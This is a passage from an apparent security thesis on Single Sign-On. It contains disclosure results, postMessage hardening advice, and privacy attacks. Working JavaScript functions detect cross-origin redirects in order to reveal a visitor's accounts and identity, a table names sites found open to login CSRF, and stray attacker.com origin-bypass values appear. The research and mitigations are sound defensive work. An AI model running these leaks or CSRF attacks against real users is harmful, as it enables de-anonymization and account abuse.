xdReceiver=//attacker.com
attacker.com
npr.org
https://attacker.com/.cnet.com
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Table 4.5: Overview of responsible disclosure process. The vulnerability status was last
revised on October 1, 2020 and is subject to change.

Vendor Vulnerability Channel 1st Inquiry 2nd Inquiry Fix?

Akamai Acc.T. security@ Sept. 20 – 3
Alibaba Acc.T. & XSS H1 Jul. 04/05 – ‡
AliExpress Acc.T. H1 Aug. 12/13 – ‡
CBS Interactive Acc.T. support@ Aug. 06 – 3
Elmundo Acc.T. support@, dpo@ Aug. 06 Aug. 27 7
Facebook Insecure Regex Internal Portal May 15 – C
LoginRadius Acc.T. security@ Aug. 22 Aug. 31 ‡
NYTimes XSS support@, H1 Aug. 05 Aug. 27 ‡
SAP Acc.T. security@ Aug. 05 – 3

All dates are in 2020. 3: Vulnerability is fixed.
Acc.T.: Account Takeover ‡: Vulnerability is triaged.
H1: HackerOne 7: No response from vendor.
pM: postMessage C: Vulnerability is out of scope.

4.7 Lessons Learned: Security Recommendations

Based on our observations and findings in Sections 4.4 and 4.5, we propose several
security recommendations for custom SSO popup flows and the postMessage API:

1. If applicable, SPs should use the SSO SDKs provided by IdPs to implement the
SSO popup flow.

2. If a custom popup flow is required and the primary window and popup window are
same-origin, the JS callback, JS close & poll, or JS CustomEvent context switching
techniques should be used.

3. If a custom popup flow is required and the primary window and popup window are
cross-origin, the postMessage callback or JS reload context switching techniques
may be used. If the JS reload technique is used, the URL must be properly vali-
dated to prevent Open Redirects and XSS. If the postMessage callback technique
is used, the following security recommendations should be followed:

Security recommendations for postMessage destination checks:

1. The wildcard origin must not be used, unless the postMessage payload is open to
the public.

2. If applicable, a single static, hard-coded destination check should be used.

security@
support@
support@
dpo@
security@
support@
security@
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3. If dynamic destination checks are required, the methods [DC-2], [DC-3], and [DC-
4] should be considered as equivalent, since they provide the same attack surface.
The origin provided in the hash fragment, query string, or RPC must be validated
properly on an exact match. Regular expressions should not be used.

Security recommendations for postMessage origin checks:

1. Always perform origin checks at the beginning of postMessage receiver callbacks.

2. If applicable, single static, hard-coded origin checks should be applied using a
string compare.

3. The /<regex>/.test(event.origin) and event.origin.match(/<regex>/) methods
should not be used, unless explicitly required. If regular expressions are required,
special care must be taken to create a secure regular expression: (1) start “^”
and end “$” tokens must be used, (2) dots “.” must be escaped properly, and
(3) a proper regular expression format must be chosen. If all subdomains of a
website should be accepted as valid origin, following regular expressions should
be used: /^https:\/\/([a-z0-9]+\.)*alice\.com$/ matches any subdomain of al
ice.com, including the domain itself. /^https:\/\/([a-z0-9]+\.)+alice\.com$/
matches any subdomain of alice.com, excluding the domain itself.

4. The event.origin.indexOf(), event.origin.contains(), event.origin.startsWith(),
and event.origin.endsWith() methods must not be used in origin checks.

5. If required, dynamic origin checks may be used. To reduce network tra�c, dynamic
origin checks must be used in conjunction with static origin checks (æ hybrid
approach). Static origin checks must be applied before dynamic origin checks.

6. The source window of a MessageEvent (i.e., available in event.source) may be
validated in addition to the origin check.

Security recommendations for postMessage input validation checks:

1. Always perform input validation on the event.data property in postMessage re-
ceiver callbacks.

2. Insecure methods within postMessage receiver callbacks enabling DOM-based XSS
must be avoided, such as but not limited to document.write(), element.innerHTML
= ..., window.location.href = ..., window.open(), window.location.replace(),
and eval(). Instead, secure methods must be used, such as element.textContent
= ... and URLs must be whitelisted.

alice.com
alice.com
alice.com
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The main objective related to Research Question III was to inspect and develop privacy-
violating practices in standardized as well as real-world Single Sign-On implementations.
As a result, Section 5.1 presents two novel ways to abuse Cross-Site Leaks in Single Sign-
On for targeted privacy attacks. Both attacks take advantage of standardized concepts
and are finally evaluated on real-world Identity Providers. Section 5.2 continues with
an investigation on privacy in real-world Single Sign-On SDKs with respect to CSRF
protection. Finally, Section 5.3 presents the automatic sign-in features in Google and
Facebook SSO. Therefore, a practical study examines how these features are abused in
the wild and which consequences regarding the End-User’s privacy may arise.

5.1 XS-Leaks in SSO: Revealing End-User’s Account
Ownership and Identity

This section presents two targeted privacy attacks in SSO that are based on XS-Leaks.
XS-Leaks can be abused for targeted web attacks in several privacy-sensitive scenarios.
In this scenario, a XS-Leak detects cross-origin redirects, which leak private information
in SSO setups.

The first attack – also referred to as account leakage – identifies whether the victim has
an account ownership on a particular SP. The second attack – called identity leakage –
discloses if the victim belongs to a given set of identities on a specific IdP.

Both attacks can be applied simultaneously. With the account leakage attack, the at-
tacker determines a series of SPs on which the victim is registered. With the identity
leakage attack, the attacker checks whether the victim has a certain identity. Finally,
the attacker correlates the results to associate the victim’s accounts on SPs with the
victim’s identity.

Structure The prerequisites of both attacks are defined in Section 5.1.1. The core con-
cepts of the account leakage and identity leakage attacks are described in Sections 5.1.2
and 5.1.3, respectively. Section 5.1.4 introduces two XS-Leaks that are used for practi-
cal exploitation. Section 5.1.5 discusses the complexity of both XS-Leaks, Section 5.1.6
evaluates both attacks on real-world IdPs, and Section 5.1.7 finally proposes counter-
measures.
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Table 5.1 introduces both attacks with an overview of the attack goal, attacker model,
prerequisites, and a�ected IdPs.

Table 5.1: Overview of SSO privacy attacks.
Attack Goal Attacker Model Requirements A�ected IdPs

Account
Leakage

Attacker determines
if victim has account
on targeted SP.

Web Attacker Support
prompt=none

Google &
Facebook

Identity
Leakage

Attacker determines
if victim has certain
identity on IdP.

Web Attacker Support
prompt=none
& login_hint

Google

5.1.1 Prerequisites

The account leakage attack requires the following conditions to hold:

1. The victim’s UA is logged into the IdP. Supposing that Google Chrome and An-
droid immediately encourage their users to sign in to their Google account and
remain logged in at any time for convenience, this is assumed to be a weak condi-
tion that many users fulfill.

2. The victim visits an attacker-controlled website. This conforms to the classical
web attacker model.

3. The IdP must support the standardized prompt=none parameter. If this flow is
requested by the SP with established consent, the IdP must immediately return
the authnResp as HTTP/302 redirect in response to the authnReq. If the victim has
not granted the SP’s consent, the IdP must return the authentication & consent
page with an HTTP/200 response. Note that the latter requirement contravenes the
specification in [67, Section 3.1.2.1], which instead suggests to return an error as
redirect to the SP.

The identity leakage attack requires one additional condition to hold:

4. The IdP must support the login_hint parameter. Also, the value of this parameter
must be publicly known, like an email address, username, or similar.

5.1.2 Account Leakage Attack: Revealing End-User’s Account Ownership

In this attack, an attacker can determine whether a victim, who visits an attacker-
controlled website, has an account on any targeted SP. It reflects the current account
status, such that the attack is not able to determine if the victim had an account on
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the SP at some point in time but later revoked the consent. In technical terms, the
attacker checks whether the victim has granted consent to the targeted SP at least once
before the attack is started. In certain contexts, the victim’s account ownership may
leak sensitive information about the victim itself. Examples of such sensitive SPs are
online dating sites, health forums, and extraordinary online shops.

The account leakage attack is exposed in Figure 5.1 and works as follows:

Welcome to attacker.com
attacker.com

Identity 
Provideri f  ( awai t  xs_l eak_r edi r ect ( aut hnReq) )  {

/ /  User  has account  on
/ /  super Secr et Cl i ent

}  el se {
/ /  User  has no account  on
/ /  super Secr et Cl i ent

}

aut hnReq:  i dp. com/ aut h
cl i ent _i d=super Secr et Cl i ent ,
r edi r ect _ur i =sp. com/ r edi r ect ,
pr ompt =none

aut hnResp
HTTP/ 302 t o sp. com/ r edi r ect
or
HTTP/ 200 wi t h consent  page

Anonymous 
User

visits

Figure 5.1: Account leakage attack. The victim visits a malicious website, which in turn
is able to check whether the victim has an account on the targeted Service
Provider.

1. The victim visits an attacker-controlled website, while having an active session at
some IdP.

2. On the malicious website, the authnReq URL related to the targeted SP is stored
within the authnReq variable. In the authnReq URL, the prompt parameter is set
to none.

3. The browser sends the authnReq in a background request to the authnEndp of the
IdP. If the victim has a valid consent for the targeted SP, the IdP immediately
returns an HTTP/302 redirect to the SP’s redirect_uri. Otherwise, the IdP returns
the authentication & consent page in an HTTP/200 response.

4. Although the response is blocked by the SOP, the attacker uses a XS-Leak to
determine whether a redirect was performed or not.

5. If a redirect was performed, the victim has an account on the targeted SP.

6. If no redirect was performed, the victim has no account on the targeted SP.

Because the redirect ensures that the victim has agreed to the targeted SP’s consent,
this attack can determine with 100% accuracy whether the victim has an account or
not.
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5.1.3 Identity Leakage Attack: Revealing End-User’s Identity

While the account leakage attack does only reveal the account ownership on a tar-
geted SP, the identity leakage attack determines whether a specific person is visiting
an attacker-controlled website. This information is crucial from a privacy point of view
and under normal circumstances protected from being leaked to website operators. As a
result of this attack, arbitrary website providers are able to precisely identify the victim
with a targeted de-anonymization attack. For instance, law enforcement might use this
attack to determine whether a suspect is visiting certain websites under their control.
Alternatively, chief managers may be able to monitor their employees’ browsing habitats
on corporate websites.

The identity leakage attack is illustrated in Figure 5.2 and works as follows:

Welcome to attacker.com
attacker.com

Identity 
Provideri f  ( awai t  xs_l eak_r edi r ect ( aut hnReq) )  {

/ /  Act i ve user  i s Al i ce
}  el se {

/ /  Act i ve user  i s not  Al i ce
}

aut hnReq:  i dp. com/ aut h
cl i ent _i d=wel l KnownCl i ent ,
r edi r ect _ur i =sp. com/ r edi r ect ,
pr ompt =none,
l ogi n_hi nt =al i ce@exampl e. com
aut hnResp
HTTP/ 302 t o sp. com/ r edi r ect
or
HTTP/ 200 wi t h consent  page

Anonymous 
User

visits

Figure 5.2: Identity leakage attack. The victim visits a malicious website, which in turn
is able to perform a targeted de-anonymization attack on the victim. This
lets the malicious website determine if the victim has a certain identity.

1. The victim visits an attacker-controlled website, while having an active session at
some IdP.

2. The attacker guesses any SP (by choosing the corresponding client_id and
redirect_uri) for which the victim most probably has consent.

3. On the malicious website, the authnReq URL related to the guessed SP is stored
within the authnReq variable. In the authnReq URL, the prompt parameter is set
to none and the login_hint parameter is set to the targeted user identifier. In this
example, the attacker wants to determine if the currently active user is Alice (with
the email address alice@example.com).

4. The browser sends the authnReq in a background request to the authnEndp of the
IdP. If the victim has a valid consent for the guessed SP and is the account holder
of alice@example.com, the IdP immediately returns an HTTP/302 redirect to the
SP’s redirect_uri. Otherwise, the IdP returns the authentication & consent page
in an HTTP/200 response.

alice@example.com
alice@example.com
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5. Although the response is blocked by the SOP, the attacker uses a XS-Leak to
determine whether a redirect was performed or not.

6. If a redirect was performed, the currently active user is Alice.

7. If no redirect was performed, the currently active user is not Alice or Alice did not
give consent to the guessed SP. In that case, the attacker starts over from step 2
with another SP.

Since the redirect is only performed if the login_hint matches the victim’s identifier,
the attacker knows with 100% certainty whether the victim has visited its website.

5.1.4 Cross-Site Leaks

The account leakage and identity leakage attacks both need a mechanism to detect cross-
origin redirects. Therefore, this section presents two XS-Leaks that detect whether a
cross-origin request returned an HTTP/200 or HTTP/302 response. The first XS-Leak is
based on the Fetch API, the second is based on a timing side channel.

5.1.4.1 XS-Leak in Fetch API

Listing 5.1 shows a XS-Leak within the Fetch API, which can identify cross-origin
redirects with 100% certainty. The xs_leak_redirect function expects a single URL as
parameter and returns a boolean indicating if a redirect was performed or not. Therefore,
the cors mode paired with the manual redirect option must be applied to receive the
appropriate response type (cf. Section 2.5.2). The credentials option ensures that the
victim’s cookies on the IdP are sent along with the authnReq. Although the Fetch API
strips all headers and the body from the response (otherwise it would violate the SOP),
one can identify that a redirect was returned (but not followed) if the type attribute of
the response is set to opaqueredirect.

5.1.4.2 XS-Leak with Timing Side Channel

Alternatively, a timing side channel can be used to identify cross-origin redirects in SSO
flows. Therefore, the Fetch API is configured to follow redirects if any are returned. The
attack idea is simple yet e�ective: If a redirect is returned in response to a cross-origin
request, at least two requests are send by the Fetch API. If no redirect is returned, only
a single request is send.

Since two (or more) requests need more time to load than a single request, the attacker
can observe a di�erence in the time to load. The attack works as follows:
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Listing 5.1: XS-Leak in Fetch API detects cross-origin redirects with 100% accuracy.
The function expects an URL as parameter, sends a GET request to that
URL, and finally returns true if the response is a redirect or false if the
response is no redirect.

1 // let is_redirect = await xs_leak_redirect("<URL>");
2
3 async function xs_leak_redirect(url) {
4 let res = await fetch(url, {
5 mode: "cors",
6 credentials: "include",
7 redirect: "manual"
8 }).then( (response) => {
9 if (response.type == "opaqueredirect") {

10 return true;
11 }
12 }).catch( (error) => {
13 return false;
14 });
15
16 return res;
17 }

1. The attacker needs a reference value in order to compare the observed time to load.
Therefore, the attacker initially registers a custom SP on the IdP. It is known for
sure that the victim did not give consent to this SP and thus, the authnEndp will
always return the authentication & consent page.

2. In practice, the malicious website initially sends the authnReq related to the at-
tacker SP to the authnEndp. Since no redirects will ever be returned, the attacker
measures the time the authentication & consent page needs to load and saves it as
a reference value.

3. Then, the malicious website sends the authnReq (with prompt=none) related to the
targeted SP to the authnEndp. The attacker once again measures the time to
load and finally compares it with the reference value. The absolute value of this
di�erence in time is called di�erential value.

4. If both times are similar (i.e. the di�erential value is small), then the IdP most
probably returned the authentication & consent page for the targeted SP, which
indicates that no redirect was returned.

5. If both times are significantly di�erent (i.e. the di�erential value is large), then
the IdP most probably returned a redirect for the targeted SP.

Based on this outcome, the attacker can decide on whether the victim has an account on
the targeted SP (redirect) or not (no redirect). Once the attacker knows the approximate
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time to load the authentication & consent page, the same technique is applied to de-
anonymize the victim. In particular, the authnReq (with prompt=none and login_hint)
related to the guessed SP is send to the authnEndp. If the di�erential value is large, a
redirect was most probably returned, which leads to the conclusion that the login_hint
belongs to the victim. Otherwise, the login_hint does not belong to the victim or the
victim did not give consent to the guessed SP. Although this attack has a relatively high
accuracy, timing side channels cannot achieve 100% certainty.

Listing 5.2 defines a function that measures the loading time of requests. In order
to improve accuracy, this measurement involves multiple iterations. For instance, the
loading time may vary by a small amount for each request. In this sample, the time
needed to load the same URL is measured 10 times before the average is finally computed.
It turned out that this approach improved accuracy by enlarging the observed di�erential
value.

Listing 5.2: XS-Leak with timing side channel detects cross-origin redirects. The func-
tion expects an URL as parameter, sends multiple GET requests to that URL,
and finally returns the average time needed to load the response.

1 // let iterations = 10;
2 // let avg_load_time = await xs_leak_timing("<URL>");
3
4 async function xs_leak_timing(url) {
5 let times = [];
6 for (let i = 0; i < iterations; i++) {
7 var t0 = performance.now();
8 let res = await fetch(url, {mode: "no-cors", credentials: "include", cache:

"no-store", redirect: "follow"});Òæ

9 var t1 = performance.now();
10
11 times.push((t1-t0));
12 }
13
14 let average = compute_average(times);
15 return average;
16 }

5.1.5 Complexity

Both attacks are targeted privacy attacks aimed at multiple users.

Account Leakage Attack In general, the account leakage attack has a complexity of
O(n), where n is the number of SP…IdP pairs. As a sample, if the attacker wants to
determine whether the victim has an account on any of 100 SPs with two IdPs, a total
of 100 · 2 = 200 requests are send.
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Identity Leakage Attack The identity leakage attack has a complexity of O(n)+O(m),
where n is the number of SP…IdP pairs and m is the number of users to de-anonymize.
The first addend O(n) strongly depends on the setup and attack scenario. The attacker
must find a SP…IdP pair on which the victim has consent.

On the one hand, this step is simplified if the attacker already knows the targeted
victim. To name one example, chief managers may know a SP…IdP pair on which their
employees have consent, such as a corporate SP. In this case, the factor O(n) vanishes,
which significantly reduces complexity. If the chief manager wants to de-anonymize 100
employees, a total of 100 requests are made.

On the other hand, this addend can increase if the attacker does not know the victim and
has to guess SP…IdP pairs on which the victim most probably has consent. The first
attack is applied to find such a SP…IdP pair, which adds the O(n) complexity. If the
attacker tests the 100 most-commonly used SP…IdP pairs and wants to de-anonymize
a set of 100 users, at most 100 + 100 = 200 requests are needed1. However, the second
attack empowers its full potential if the attacker knowns a SP with consent upfront.

Dependency on the XS-Leak The above mentioned complexities are specifically ap-
plied to the XS-Leak within the Fetch API. If the timing side channel is used, a factor
of #iterations is added to the complexity. Also, the requests necessary to compute the
initial reference value are added, which is #iterations as well. Based on the number of
iterations, this significantly increases complexity and results in scalability issues.

5.1.6 Evaluation on real-world Identity Providers

We evaluated the account leakage and identity leakage attacks on the three main in-scope
IdPs within this thesis: Apple, Google, and Facebook.

The account leakage attack a�ects Google and Facebook, because both support the
prompt=none flow2. The identity leakage attack works with Google only, since it supports
the login_hint parameter, which is set to the email address of the victim. During
implementation, it was discovered that the Google login_hint parameter must contain
a valid email address registered at Google – otherwise, this parameter is ignored.

XS-Leak with Fetch API The XS-Leak within the Fetch API was successfully tested
with the Google IdP, Facebook IdP, and arbitrarily chosen SPs. Note that the SP does
not have any e�ect on the attack’s operation.

The implementation is available on https://xsleak.sso.louisjannett.de.
1This number may vary in the wild. For instance, if the attacker finds that the currently active user

has valid consent for the first SP…IdP pair, only 100 + 1 requests are made.
2Note that Facebook does not support the prompt parameter, but executes the prompt=none flow as

default if authentication and consent is given.

https://xsleak.sso.louisjannett.de
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XS-Leak with Timing The timing side channel was successfully validated for the ac-
count leakage attack on the Google IdP with 10 iterations. As a sample, the SP vimeo.com
without consent (no redirect) returned a di�erential value of 28 milliseconds. The SP
adobe.com with consent (redirect) returned a di�erential value of 9787 milliseconds. This
variance is explicable as follows:

If the SSO flow is executed on Adobe, the authnEndp returns a redirect to the redirec-
tionEndp on Adobe, which again results in two additional redirects. Thus, four requests
are sent by the Fetch API. If the SSO flow is executed on Vimeo, the authnEndp re-
turns the authentication & consent page, which results in a single request and thus takes
significantly less time.

This is also why the side channel’s accuracy is improved with slow internet connection
speeds. For instance, the di�erential value of Adobe is increased by the factor 4 (since
there are 4 requests), while the di�erential value of Vimeo is growing linearly (there is
only a single request) with slower connection speeds. As a result, timing provides an
appropriate side channel to determine whether the IdP returned a redirect or not.

The implementation is available on https://timing.sso.louisjannett.de.

5.1.7 Mitigation

To avoid these privacy attacks in SSO, the following potential mitigation techniques
address the problem at the level of the IdP and browser.

Mitigate XS-Leaks: The XS-Leaks within the browser are mitigated. Since the opaque
redirect is considered as a native feature of the Fetch API specified in [86, Section
2.2.6], this seems to be unlikely fixed in future. The timing side channel only
requires an approximate measurement to identify whether one request or multiple
requests are sent. Finding the right tradeo� between security (i.e. by adding
random delays in loading times) and usability (i.e. fast loading speeds) remains a
hard challenge to solve.

Restrict prompt=none flow: IdPs should return an error code within the redirect to the
redirectionEndp if the prompt=none flow is used although the End-User has no
consent. This is precisely defined in the standard [67, Section 3.1.2.1] and mitigates
the account leakage attack. Anyway, the standard does not define any instructions
for the case when the login_hint parameter does not match the currently active
user. Google returns the authentication & consent page. Still, we suggest to return
an error code within the redirect to the redirectionEndp if the login_hint parameter
does not belong to the active user. This prevents the identity leakage attack.

Disable third-party cookies: The End-User can protect against both attacks by de-
activating the third-party cookies. Thus, the Fetch request cannot include the

vimeo.com
adobe.com
https://timing.sso.louisjannett.de


112 5 Privacy in Single Sign-On Protocols

IdP’s session cookies within the authnReq to skip the authentication part in the
prompt=none flow.

5.2 CSRF Protection in Single Sign-On SDKs

Motivation Login CSRF attacks were initially introduced in 2008 by Barth, Jackson,
and Mitchell [14] and defined as an “attacker forging a cross-site request to the login form,
logging the victim into the honest web site as the attacker”. Severity of login CSRF varies
by website, but serious privacy and security issues may arise. As an example, the victim
(unintentionally) uploads personal data or confidential files into the attacker-controlled
account, which are then available to the attacker.

Login CSRF in SSO Login CSRF attacks are not limited to login forms, but pose
a serious thread in SSO as well. Out of this motivation, the OAuth state parameter
was introduced to bind the authnResp to the End-User’s session and thwart a malicious
attacker from sending its own authnResp to the redirectionEndp. Recent work shows
that the state parameter is still not taken for granted. In fact, Saito, Shibata, and
Kikuta [74] studied its adoption rate in the wild and observed that 74 out of 168 SPs
do not utilize a state parameter at all. Although their observation does not imply that
these SPs are susceptible to login CSRF (since other protections might exist), it still
suggests that login CSRF in SSO redirect flows is a present problem.

Login CSRF in SSO SDKs Compared to the redirect flows, the state parameter pro-
vides no protection against login CSRF in modern web SSO SDKs, such as Google
Sign-In and Facebook Login SDK. Instead of redirecting the authnResp back to the SP
in cross-origin contexts, they provide JS APIs to receive the authnResp – without state
parameter – in the front-channel. This is made possible by the postMessage API ex-
plained in the appropriate protocol descriptions in Chapter 3. In theory, the postMessage
origin check ensures that only the IdP is allowed to send the authnResp to the UA. In
practice, the UA must still redeem the authnResp on the SP’s backend, which is not
protected against CSRF by default.

Callbacks in SDKs In the SSO JS SDKs, the authnResp is most commonly returned
in callbacks:

IDP.auth(authnReqParams, function(authnResp) {
// TODO: Send authnResp.id_token to backend

});
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Once the SDK passes the authnResp to the callback, the developer redeems the id_token
on its validation endpoint in exchange for cookies or custom tokens authenticating sub-
sequent requests. The Fetch API and XHRs provide the appropriate tools to issue the
background request. Developers must ensure that their endpoint is protected against
CSRF to prevent an attacker-controlled website from issuing a cross-site request. Oth-
erwise, the vulnerable backend will interpret this request, validate an attacker-supplied
id_token, and finally log the victim into the attacker’s account.

Structure To evaluate the CSRF protection in the wild, we first analyzed the developer
documentations on information about CSRF-protective measures (cf. Section 5.2.1).
Then, we analyzed the CSRF protections in implementations of SSO SDKs in the wild
(cf. Section 5.2.2).

5.2.1 Developer Documentation

The protection against login CSRF must be implemented by the SP. If developers plan
to integrate SSO into their web apps, the first starting point is the developer documen-
tation of the respective IdP. IdPs should inform developers about all steps necessary to
implement their SSO SDK securely, which includes protection against CSRF.

Therefore, the documentations of Sign in with Apple JS [9], Google Sign-In [28], Google
One Tap Sign-In and Sign-Up [29], and Facebook Login SDK [21] were scoured for any
instructions on how to protect against CSRF.

Sign in with Apple JS exclusively provides developers the option to initialize the SDK
with a state parameter, which is returned in the authnResp and could serve as
a valid CSRF protection. However, CSRF and the state parameter are ignored
throughout the entire documentation.

Google Sign-In recommends to use the X-Requested-With header in XHR requests to
protect against CSRF attacks in the Code Flow only [27]. Other than that, Google
claims that “ID tokens have cross-site forgery protections built-in” [51], which is
not true. Although the nonce parameter within the id_token would protect against
CSRF, it is not supported in Google Sign-In. There are no other claims that are
bound to the session.

Google One Tap provides CSRF protection by default, as the SDK automatically sends
the id_token to an endpoint specified by the developer. Along with that, the SDK
uses the double-submit-cookie pattern, which randomly generates a token that is
submitted as cookie and POST parameter. The developer is instructed to finally
verify that both CSRF tokens are equal, as soon as an id_token is received on the
endpoint.
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Facebook Login SDK provides no guidance on how to securely redeem the access_token
and signed_request on the backend.

We conclude that developers without background knowledge on OAuth or OIDC will
most probably be not aware of login CSRF issues after reading the developer documen-
tations. This motivates further research on whether real-world implementations using
the above mentioned SSO SDKs are protected against login CSRF.

5.2.2 Evaluation

The study on login CSRF in SSO SDKs was performed in conjunction with the eval-
uation presented in Section 4.5.3. Of the 63 SPs, 20 implemented at least one SSO
SDK of Apple, Google, or Facebook. We analyzed all endpoints returning the session
cookie on input of the id_token, access_token, or signed_request on deployed CSRF
protections. Table 5.2 summarizes the results of this evaluation. If CSRF protections
are in place, they are summarized in the rightmost column. Otherwise, a reference to
an auto-submitting HTML form is attached as POC in Appendix A.3.

Results This study has not confirmed previous evidence on login CSRF vulnerabilities
in SP implementations of SSO SDKs. Although the IdPs fail to correctly address this
type of vulnerability in their developer documentations, the majority of real-world im-
plementations are protected against CSRF on their validation endpoints. It was found
that only 4 out of 20 SSO SDK integrations are susceptible against CSRF. However,
this is not particularly surprising in light of web application frameworks (i.e. Laravel,
FastAPI, Flask, and more). For instance, the crumb cookie on fandom.com refers to the
hapi/crumb framework3 and provides CSRF protection out of the box. We found that
other endpoints on SPs are protected against CSRF in a very similar fashion, which
is another evidence of globally-scoped CSRF protections managed by frameworks. Al-
though we are not able to provide a proof, there is still evidence to suggest the hypothesis
that login CSRF defenses are part of a globally CSRF protected web app.

Case Examples The vulnerable websites are Wix.com, Samsung, wikiHow, and Image-
Shack. The impact is primarily e�ecting the End-User’s privacy:

Wix.com is a website construction kit. If the login CSRF remains unnoticed, a victim
may add personal contact information, add payment methods, link domains to
attacker-controlled websites, upload confidential files, and more.

Samsung is a�ected with its online shop. If the victim makes a purchase, it is linked
to the attacker’s account. The victim may provide its address and other personal
information, which are saved within the attacker’s account. The US online shop

3URL: https://github.com/hapijs/crumb

fandom.com
https://github.com/hapijs/crumb
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Table 5.2: Evaluation of login CSRF on Moz’s top 63 SPs with respect to SSO SDKs. Of
the top 63 SPs, 20 integrate at least one SSO SDK. If the SP is vulnerable to
login CSRF, a reference to the POC is attached. If the SP is not vulnerable
to login CSRF, the applied protections are exposed.

Moz Service Provider Vuln? Protection / Proof of Concept

30 dailymotion.com # Returns custom_token instead of session cookie
55 mediafire.com # signed_request send as cookie and security

parameter bound to ukey cookie
81 www.wix.com  POC in Listing A.1
82 change.org # X-Requested-With header or X-CSRF-Token

header bound to _change_session cookie
87 yelp.com # X-Requested-With header and csrftok param-

eter bound to bse cookie
102 elpais.com # Returns custom_token instead of session cookie
124 samsung.com  POC in Listing A.2
130 issuu.com # Validates Origin header
141 files.wordpress.com # Validates Origin header
142 pinterest.com # X-CSRFToken header bound to csrftoken cookie
145 scribd.com # X-CSRF-Token header bound to

_scribd_session cookie
150 telegraph.co.uk # Returns custom_token instead of session cookie
159 iubenda.com # signed_request send as cookie
185 about.me # X-Auth-Token header bound to session and

session.sig cookies
187 wikihow.com  POC in Listing A.3
196 gofundme.com # Validates Origin header
208 imageshack.us  POC in Listing A.4
233 rottentomatoes.com # _token parameter bound to

__Host-color-scheme cookie and _expiry
parameter bound to __Host-theme-options
cookie

238 instagram.com # X-CSRFToken header
243 fandom.com # crumb parameter bound to crumb cookie
 : Vulnerable to Login CSRF
#: Not vulnerable to Login CSRF

dailymotion.com
mediafire.com
www.wix.com
change.org
yelp.com
elpais.com
samsung.com
issuu.com
files.wordpress.com
pinterest.com
scribd.com
telegraph.co.uk
iubenda.com
about.me
wikihow.com
gofundme.com
imageshack.us
rottentomatoes.com
instagram.com
fandom.com
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provides an option to save the credit card number for future payments, but this
feature was not tested.

wikiHow is a website for shared tutorials and howtos. Besides adding personal infor-
mation, the victim might publish an article within the attacker’s account. Further
attack scenarios could not be worked out.

ImageShack is an image hosting service. The attack scenario is simple yet e�ective: a
victim may upload private images into the attacker’s account.

5.3 Automatic Sign-In and Session Management Practices in
the Wild

Single Sign-On SDKs provide features that facilitate automatic sign-in flows. Under
certain preconditions, End-Users are automatically maintained in an authenticated state
on SPs to streamline User Experience. Automatic sign-in has a negative impact on user
privacy if the sign-in process is not transparent to the End-User. For instance, SPs may
abuse these features to secretly identify their users upfront, before they decide to click
the sign-in button. Naturally, automatic sign-in is restricted to scenarios in which the
End-User (1) is logged in on the IdP and (2) agreed to the SP consent at least once (i.e.,
has an account on the SP). Otherwise, the automatic sign-in would pose a serious threat
to the implementation security of the IdP.

Structure Section 5.3.1 introduces the automatic sign-in functionalities of the in scope
SSO SDKs: Sign in with Apple JS, Google Sign-In (GSI), Google One Tap Sign-in and
Sign-Up (GOT), and Facebook Login SDK (FL). Section 5.3.2 evaluates 20 SSO SDK
implementations on SPs with respect to the real-world usage of the automatic sign-in
features and their impact on user privacy.

5.3.1 Automatic Sign-In in SSO SDKs

Basic Principle The automatic sign-in features of the in scope SSO SDKs follow a
similar pattern:

1. The End-User visits any SP website that integrates a SSO SDK with automatic
sign-in feature.

2. The End-User has (1) an active session on the IdP (that provides the SDK) and
(2) pre-established consent for the SP.

3. The SP website initializes the SDK with automatic sign-in enabled.
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4. Once initialized, the SDK retrieves its logout state from browser storage to detect
whether the End-User signed out previously using the sign-out method of the SDK.

a) If the logout state is set to false (or does not exist), the SDK returns the au-
thnResp either to a registered callback or waits for the developer to explicitly
query the authnResp.

b) If the logout state is set to true, the SDK does not provide the authnResp
and instead requires some form of user interaction (i.e., click on the sign-in
button).

If the sign-out method of the SDK is invoked, the logout state is set to true – that is,
the automatic sign-in is disabled. If the browser storage is cleared (i.e., in a private
browsing window or if cookies are deleted), the logout state is cleared as well – thus,
automatic sign-in is re-enabled.

Table 5.3 summarizes the automatic sign-in features of the in scope SSO SDKs. For
each SDK, the table lists the support for automatic sign-in, whether the SDK must be
explicitly initialized to support automatic sign-in, the method to store the logout state,
and the JS code that is used by developers to retrieve the authnResp.

Table 5.3: Overview of automatic sign-in features in SSO SDKs.
SDK Supp. SDK Init Logout State JS Code

Apple 7 – – –
GSI 3 Not required. disabled parameter in lo-

calStorage of proxy iframe
is set to true or false.

isSignedIn.get() and
currentUser.get()

GOT 3 SDK is ini-
tialized with
auto_select:
"true".

g_state cookie on SP web-
site contains "i_s", which is
set to 1 (disabled) or 0 (en-
abled).

Callback registered
during initialization:
callback: (credential)
=> {...}

FL 3 Not required. fblo cookie on SP website
contains "y" (disabled) or
nothing (enabled).

getLoginStatus()

5.3.1.1 Automatic Sign-In in Sign in with Apple JS

Sign in with Apple JS does not provide any automatic sign-in capabilities. The End-
User must authenticate each SSO flow individually (i.e., submit its credentials) and
reconfirm its consent. SPs cannot receive the authnResp from Apple without explicit
user interaction, which is a privacy advantage.
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5.3.1.2 Automatic Sign-In in Google Sign-In

Google Sign-In provides automatic sign-in functionality as follows (cf. Section 3.3.2):

1. The SDK on the SP website is initialized: gapi.auth2.init().

2. Once initialized, the SDK sends the getSessionSelector RPC to the proxy iframe.

3. In response, the proxy iframe returns the (if existent) disabled parameter from
localStorage, which is set to true or false.

a) If the disabled parameter is returned and set to true, the SDK knows that the
End-User explicitly signed out on the SP with gapi.auth2.getAuthInstance() Ê

.signOut(). The automatic sign-in process is canceled.

b) If the disabled parameter is not returned or set to false, the SDK automat-
ically sends the getTokenResponse RPC to the proxy iframe – initiating the
automatic sign-in process – and continues with step 4.

4. If the proxy iframe receives the getTokenResponse RPC, it requests the authnResp
from the backend and forwards it to the SP website.

5. The SDK on the SP website receives the authnResp and provides it in response
to the gapi.auth2.getAuthInstance().currentUser.get().getAuthResponse() call.
Prior to that, developers can check if automatic sign-in was successful: gapi.auth2 Ê

.getAuthInstance().isSignedIn.get() === true.

SPs can receive the authnResp irrespectively of the logout state as follows:

Restrict disabled parameter: The SP does not invoke the signOut() method of the
SDK at any time. Thus, the disabled parameter is never set to true.

Manually send RPC: The SP manually sends the getTokenResponse RPC with postMes-
sage to the proxy iframe and receives the authnResp in a custom postMessage
receiver.

5.3.1.3 Automatic Sign-In in Google One Tap Sign-In and Sign-Up

Google One Tap Sign-In and Sign-Up provides automatic sign-in functionality as follows
(cf. Section 3.3.3):

1. The SDK on the SP website is initialized:
